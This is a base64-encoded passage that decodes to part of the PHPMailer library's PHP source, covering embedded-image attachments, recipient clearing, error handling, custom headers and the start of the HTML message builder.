AzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiB0cnVlLCAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgICAgICAgNiA9PiAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgIDcgPT4gMAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gZW1iZWRkZWQgKGlubGluZSkgYXR0YWNobWVudCBmcm9tIGEgZmlsZS4KICAgICAqIFRoaXMgY2FuIGluY2x1ZGUgaW1hZ2VzLCBzb3VuZHMsIGFuZCBqdXN0IGFib3V0IGFueSBvdGhlciBkb2N1bWVudCB0eXBlLgogICAgICogVGhlc2UgZGlmZmVyIGZyb20gJ3JlZ3VsYXInIGF0dGFjaG1lbnRzIGluIHRoYXQgdGhleSBhcmUgaW50ZW5kZWQgdG8gYmUKICAgICAqIGRpc3BsYXllZCBpbmxpbmUgd2l0aCB0aGUgbWVzc2FnZSwgbm90IGp1c3QgYXR0YWNoZWQgZm9yIGRvd25sb2FkLgogICAgICogVGhpcyBpcyB1c2VkIGluIEhUTUwgbWVzc2FnZXMgdGhhdCBlbWJlZCB0aGUgaW1hZ2VzCiAgICAgKiB0aGUgSFRNTCByZWZlcnMgdG8gdXNpbmcgdGhlICRjaWQgdmFsdWUuCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBQYXRoIHRvIHRoZSBhdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkY2lkIENvbnRlbnQgSUQgb2YgdGhlIGF0dGFjaG1lbnQ7IFVzZSB0aGlzIHRvIHJlZmVyZW5jZQogICAgICogICAgICAgIHRoZSBjb250ZW50IHdoZW4gdXNpbmcgYW4gZW1iZWRkZWQgaW1hZ2UgaW4gSFRNTC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBNSU1FIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIG9uIHN1Y2Nlc3NmdWxseSBhZGRpbmcgYW4gYXR0YWNobWVudAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkRW1iZWRkZWRJbWFnZSgkcGF0aCwgJGNpZCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gJ2Jhc2U2NCcsICR0eXBlID0gJycsICRkaXNwb3NpdGlvbiA9ICdpbmxpbmUnKQogICAgewogICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhQGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZmlsZV9hY2Nlc3MnKSAuICRwYXRoKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICB9CgogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICAgICAgfQoKICAgICAgICAvLyBBcHBlbmQgdG8gJGF0dGFjaG1lbnQgYXJyYXkKICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICA3ID0+ICRjaWQKICAgICAgICApOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVtYmVkZGVkIHN0cmluZ2lmaWVkIGF0dGFjaG1lbnQuCiAgICAgKiBUaGlzIGNhbiBpbmNsdWRlIGltYWdlcywgc291bmRzLCBhbmQganVzdCBhYm91dCBhbnkgb3RoZXIgZG9jdW1lbnQgdHlwZS4KICAgICAqIEJlIHN1cmUgdG8gc2V0IHRoZSAkdHlwZSB0byBhbiBpbWFnZSB0eXBlIGZvciBpbWFnZXM6CiAgICAgKiBKUEVHIGltYWdlcyB1c2UgJ2ltYWdlL2pwZWcnLCBHSUYgdXNlcyAnaW1hZ2UvZ2lmJywgUE5HIHVzZXMgJ2ltYWdlL3BuZycuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIGF0dGFjaG1lbnQgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaWQgQ29udGVudCBJRCBvZiB0aGUgYXR0YWNobWVudDsgVXNlIHRoaXMgdG8gcmVmZXJlbmNlCiAgICAgKiAgICAgICAgdGhlIGNvbnRlbnQgd2hlbiB1c2luZyBhbiBlbWJlZGRlZCBpbWFnZSBpbiBIVE1MLgogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgRmlsZSBlbmNvZGluZyAoc2VlICRFbmNvZGluZykuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0eXBlIE1JTUUgdHlwZS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uIERpc3Bvc2l0aW9uIHRvIHVzZQogICAgICogQHJldHVybiBib29sZWFuIFRydWUgb24gc3VjY2Vzc2Z1bGx5IGFkZGluZyBhbiBhdHRhY2htZW50CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRTdHJpbmdFbWJlZGRlZEltYWdlKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGNpZCwKICAgICAgICAkbmFtZSA9ICcnLAogICAgICAgICRlbmNvZGluZyA9ICdiYXNlNjQnLAogICAgICAgICR0eXBlID0gJycsCiAgICAgICAgJGRpc3Bvc2l0aW9uID0gJ2lubGluZScKICAgICkgewogICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBuYW1lCiAgICAgICAgaWYgKCR0eXBlID09ICcnIGFuZCAhZW1wdHkoJG5hbWUpKSB7CiAgICAgICAgICAgICR0eXBlID0gc2VsZjo6ZmlsZW5hbWVUb1R5cGUoJG5hbWUpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXBwZW5kIHRvICRhdHRhY2htZW50IGFycmF5CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAgICAgICAwID0+ICRzdHJpbmcsCiAgICAgICAgICAgIDEgPT4gJG5hbWUsCiAgICAgICAgICAgIDIgPT4gJG5hbWUsCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICA1ID0+IHRydWUsIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgNyA9PiAkY2lkCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGlubGluZSBhdHRhY2htZW50IGlzIHByZXNlbnQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpbmxpbmVJbWFnZUV4aXN0cygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhbiBhdHRhY2htZW50IChub24taW5saW5lKSBpcyBwcmVzZW50LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhdHRhY2htZW50RXhpc3RzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgewogICAgICAgICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJ2F0dGFjaG1lbnQnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiB0aGlzIG1lc3NhZ2UgaGFzIGFuIGFsdGVybmF0aXZlIGJvZHkgc2V0LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhbHRlcm5hdGl2ZUV4aXN0cygpCiAgICB7CiAgICAgICAgcmV0dXJuICFlbXB0eSgkdGhpcy0+QWx0Qm9keSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBxdWV1ZWQgYWRkcmVzc2VzIG9mIGdpdmVuIGtpbmQuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAka2luZCAndG8nLCAnY2MnLCBvciAnYmNjJwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclF1ZXVlZEFkZHJlc3Nlcygka2luZCkKICAgIHsKICAgICAgICAkUmVjaXBpZW50c1F1ZXVlID0gJHRoaXMtPlJlY2lwaWVudHNRdWV1ZTsKICAgICAgICBmb3JlYWNoICgkUmVjaXBpZW50c1F1ZXVlIGFzICRhZGRyZXNzID0+ICRwYXJhbXMpIHsKICAgICAgICAgICAgaWYgKCRwYXJhbXNbMF0gPT0gJGtpbmQpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5SZWNpcGllbnRzUXVldWVbJGFkZHJlc3NdKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENsZWFyIGFsbCBUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFkZHJlc3NlcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0bykgewogICAgICAgICAgICB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkdG9bMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCd0bycpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIENDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQ0NzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Y2MgYXMgJGNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRjY1swXSldKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+Y2xlYXJRdWV1ZWRBZGRyZXNzZXMoJ2NjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgQkNDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQkNDcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJjYyBhcyAkYmNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRiY2NbMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5iY2MgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnYmNjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgUmVwbHlUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclJlcGx5VG9zKCkKICAgIHsKICAgICAgICAkdGhpcy0+UmVwbHlUbyA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPlJlcGx5VG9RdWV1ZSA9IGFycmF5KCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgcmVjaXBpZW50IHR5cGVzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFsbFJlY2lwaWVudHMoKQogICAgewogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5SZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGZpbGVzeXN0ZW0sIHN0cmluZywgYW5kIGJpbmFyeSBhdHRhY2htZW50cy4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnQgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGN1c3RvbSBoZWFkZXJzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckN1c3RvbUhlYWRlcnMoKQogICAgewogICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXIgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVycm9yIG1lc3NhZ2UgdG8gdGhlIGVycm9yIGNvbnRhaW5lci4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtc2cKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2V0RXJyb3IoJG1zZykKICAgIHsKICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQrKzsKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciA9PSAnc210cCcgYW5kICFpc19udWxsKCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkbGFzdGVycm9yID0gJHRoaXMtPnNtdHAtPmdldEVycm9yKCk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGxhc3RlcnJvclsnZXJyb3InXSkpIHsKICAgICAgICAgICAgICAgICRtc2cgLj0gJHRoaXMtPmxhbmcoJ3NtdHBfZXJyb3InKSAuICRsYXN0ZXJyb3JbJ2Vycm9yJ107CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ2RldGFpbCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBEZXRhaWw6ICcuICRsYXN0ZXJyb3JbJ2RldGFpbCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGFzdGVycm9yWydzbXRwX2NvZGUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgU01UUCBjb2RlOiAnIC4gJGxhc3RlcnJvclsnc210cF9jb2RlJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBBZGRpdGlvbmFsIFNNVFAgaW5mbzogJyAuICRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5FcnJvckluZm8gPSAkbXNnOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGFuIFJGQyA4MjIgZm9ybWF0dGVkIGRhdGUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZmNEYXRlKCkKICAgIHsKICAgICAgICAvLyBTZXQgdGhlIHRpbWUgem9uZSB0byB3aGF0ZXZlciB0aGUgZGVmYXVsdCBpcyB0byBhdm9pZCA1MDAgZXJyb3JzCiAgICAgICAgLy8gV2lsbCBkZWZhdWx0IHRvIFVUQyBpZiBpdCdzIG5vdCBzZXQgcHJvcGVybHkgaW4gcGhwLmluaQogICAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoQGRhdGVfZGVmYXVsdF90aW1lem9uZV9nZXQoKSk7CiAgICAgICAgcmV0dXJuIGRhdGUoJ0QsIGogTSBZIEg6aTpzIE8nKTsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCB0aGUgc2VydmVyIGhvc3RuYW1lLgogICAgICogUmV0dXJucyAnbG9jYWxob3N0LmxvY2FsZG9tYWluJyBpZiB1bmtub3duLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXJ2ZXJIb3N0bmFtZSgpCiAgICB7CiAgICAgICAgJHJlc3VsdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOwogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkhvc3RuYW1lKSkgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPkhvc3RuYW1lOwogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUikgYW5kIGFycmF5X2tleV9leGlzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIGFuZCAhZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRob3N0bmFtZScpICYmIGdldGhvc3RuYW1lKCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSBnZXRob3N0bmFtZSgpOwogICAgICAgIH0gZWxzZWlmIChwaHBfdW5hbWUoJ24nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IHBocF91bmFtZSgnbicpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCBhbiBlcnJvciBtZXNzYWdlIGluIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGxhbmcoJGtleSkKICAgIHsKICAgICAgICBpZiAoY291bnQoJHRoaXMtPmxhbmd1YWdlKSA8IDEpIHsKICAgICAgICAgICAgJHRoaXMtPnNldExhbmd1YWdlKCdlbicpOyAvLyBzZXQgdGhlIGRlZmF1bHQgbGFuZ3VhZ2UKICAgICAgICB9CgogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCRrZXksICR0aGlzLT5sYW5ndWFnZSkpIHsKICAgICAgICAgICAgaWYgKCRrZXkgPT0gJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSB7CiAgICAgICAgICAgICAgICAvL0luY2x1ZGUgYSBsaW5rIHRvIHRyb3VibGVzaG9vdGluZyBkb2NzIG9uIFNNVFAgY29ubmVjdGlvbiBmYWlsdXJlCiAgICAgICAgICAgICAgICAvL3RoaXMgaXMgYnkgZmFyIHRoZSBiaWdnZXN0IGNhdXNlIG9mIHN1cHBvcnQgcXVlc3Rpb25zCiAgICAgICAgICAgICAgICAvL2J1dCBpdCdzIHVzdWFsbHkgbm90IFBIUE1haWxlcidzIGZhdWx0LgogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5sYW5ndWFnZVska2V5XSAuICcgaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIvd2lraS9Ucm91Ymxlc2hvb3RpbmcnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2VbJGtleV07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9SZXR1cm4gdGhlIGtleSBhcyBhIGZhbGxiYWNrCiAgICAgICAgICAgIHJldHVybiAka2V5OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGVycm9yIG9jY3VycmVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIGlmIGFuIGVycm9yIGRpZCBvY2N1ci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzRXJyb3IoKQogICAgewogICAgICAgIHJldHVybiAoJHRoaXMtPmVycm9yX2NvdW50ID4gMCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbnN1cmUgY29uc2lzdGVudCBsaW5lIGVuZGluZ3MgaW4gYSBzdHJpbmcuCiAgICAgKiBDaGFuZ2VzIGV2ZXJ5IGVuZCBvZiBsaW5lIGZyb20gQ1JMRiwgQ1Igb3IgTEYgdG8gJHRoaXMtPkxFLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciBTdHJpbmcgdG8gZml4RU9MCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZml4RU9MKCRzdHIpCiAgICB7CiAgICAgICAgLy8gTm9ybWFsaXNlIHRvIFxuCiAgICAgICAgJG5zdHIgPSBzdHJfcmVwbGFjZShhcnJheSgiXHJcbiIsICJcciIpLCAiXG4iLCAkc3RyKTsKICAgICAgICAvLyBOb3cgY29udmVydCBMRSBhcyBuZWVkZWQKICAgICAgICBpZiAoJHRoaXMtPkxFICE9PSAiXG4iKSB7CiAgICAgICAgICAgICRuc3RyID0gc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkbnN0cik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbnN0cjsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBhIGN1c3RvbSBoZWFkZXIuCiAgICAgKiAkbmFtZSB2YWx1ZSBjYW4gYmUgb3ZlcmxvYWRlZCB0byBjb250YWluCiAgICAgKiBib3RoIGhlYWRlciBuYW1lIGFuZCB2YWx1ZSAobmFtZTp2YWx1ZSkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lIEN1c3RvbSBoZWFkZXIgbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkdmFsdWUgSGVhZGVyIHZhbHVlCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEN1c3RvbUhlYWRlcigkbmFtZSwgJHZhbHVlID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJHZhbHVlID09PSBudWxsKSB7CiAgICAgICAgICAgIC8vIFZhbHVlIHBhc3NlZCBpbiBhcyBuYW1lOnZhbHVlCiAgICAgICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGV4cGxvZGUoJzonLCAkbmFtZSwgMik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPkN1c3RvbUhlYWRlcltdID0gYXJyYXkoJG5hbWUsICR2YWx1ZSk7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJucyBhbGwgY3VzdG9tIGhlYWRlcnMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDdXN0b21IZWFkZXJzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPkN1c3RvbUhlYWRlcjsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYm9keSBmcm9tIGFuIEhUTUwgc3RyaW5nLgogICAgICogQXV0b21hdGljYWxseSBpbmxpbmVzIGltYWdlcyBhbmQgY3JlYXRlcyBhIHBsYWluLXRleHQgdmVyc2lvbiBieSBjb252ZXJ0aW5nIHRoZSBIVE1MLAogICAgICogb3ZlcndyaXRpbmcgYW55IGV4aXN0aW5nIHZhbHVlcyBpbiBCb2R5IGFuZCBBbHRCb2R5LgogICAgICogRG8gbm90IHNvdXJjZSAkbWVzc2FnZSBjb250ZW50IGZyb20gdXNlciBpbnB1dCEKICAgICAqICRiYXNlZGlyIGlzIHByZXBlbmRlZCB3aGVuIGhhbmRsaW5nIHJlbGF0aXZlIFVSTHMsIGUuZy4gPGltZyBzcmM9Ii9pbWFnZXMvYS5wbmciPiBhbmQgbXVzdCBub3QgYmUgZW1wdHkKICAgICAqIHdpbGwgbG9vayBmb3IgYW4gaW1hZ2UgZmlsZSBpbiAkYmFzZWRpci9pbWFnZXMvYS5wbmcgYW5kIGNvbnZlcnQgaXQgdG8gaW5saW5lLgogICAgICogSWYgeW91IGRvbid0IHByb3ZpZGUgYSAkYmFzZWRpciwgcmVsYXRpdmUgcGF0aHMgd2lsbCBiZSBsZWZ0IHVudG91Y2hlZCAoYW5kIHRodXMgcHJvYmFibHkgYnJlYWsgaW4gZW1haWwpCiAgICAgKiBJZiB5b3UgZG9uJ3Qgd2FudCB0byBhcHBseSB0aGVzZSB0cmFuc2Zvcm1hdGlvbnMgdG8geW91ciBIVE1MLCBqdXN0IHNldCBCb2R5IGFuZCBBbHRCb2R5IGRpcmVjdGx5LgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgSFRNTCBtZXNzYWdlIHN0cmluZwogICAgICogQHBhcmFtIHN0cmluZyAkYmFzZWRpciBBYnNvbHV0ZSBwYXRoIHRvIGEgYmFzZSBkaXJlY3RvcnkgdG8gcHJlcGVuZCB0byByZWxhdGl2ZSBwYXRocyB0byBpbWFnZXMKICAgICAqIEBwYXJhbSBib29sZWFufGNhbGxhYmxlICRhZHZhbmNlZCBXaGV0aGVyIHRvIHVzZSB0aGUgaW50ZXJuYWwgSFRNTCB0byB0ZXh0IGNvbnZlcnRlcgogICAgICogICAgb3IgeW91ciBvd24gY3VzdG9tIGNvbnZlcnRlciBAc2VlIFBIUE1haWxlcjo6aHRtbDJ0ZXh0KCkKICAgICAqIEByZXR1cm4gc3RyaW5nICRtZXNzYWdlIFRoZSB0cmFuc2Zvcm1lZCBtZXNzYWdlIEJvZHkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIG1zZ0hUTUwoJG1lc3NhZ2UsICRiYXNlZGlyID0gJycsICRhZHZhbmNlZCA9IGZhbHNlKQogICAgewogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvKHNyY3xiYWNrZ3JvdW5kKT1bIlwnXSguKilbIlwnXS9VaScsICRtZXNzYWdlLCAkaW1hZ2VzKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkaW1hZ2VzKSkgewogICAgICAgICAgICBpZiAoc3RybGVuKCRiYXNlZGlyKSA+IDEgJiYgc3Vic3RyKCRiYXNlZGlyLCAtMSkgIT0gJy8nKSB7CiAgICAgICAgICAgICAgICAvLyBFbnN1cmUgJGJhc2VkaXIgaGFzIGEgdHJhaWxpbmcgLwogICAgICAgICAgICAgICAgJGJhc2VkaXIgLj0g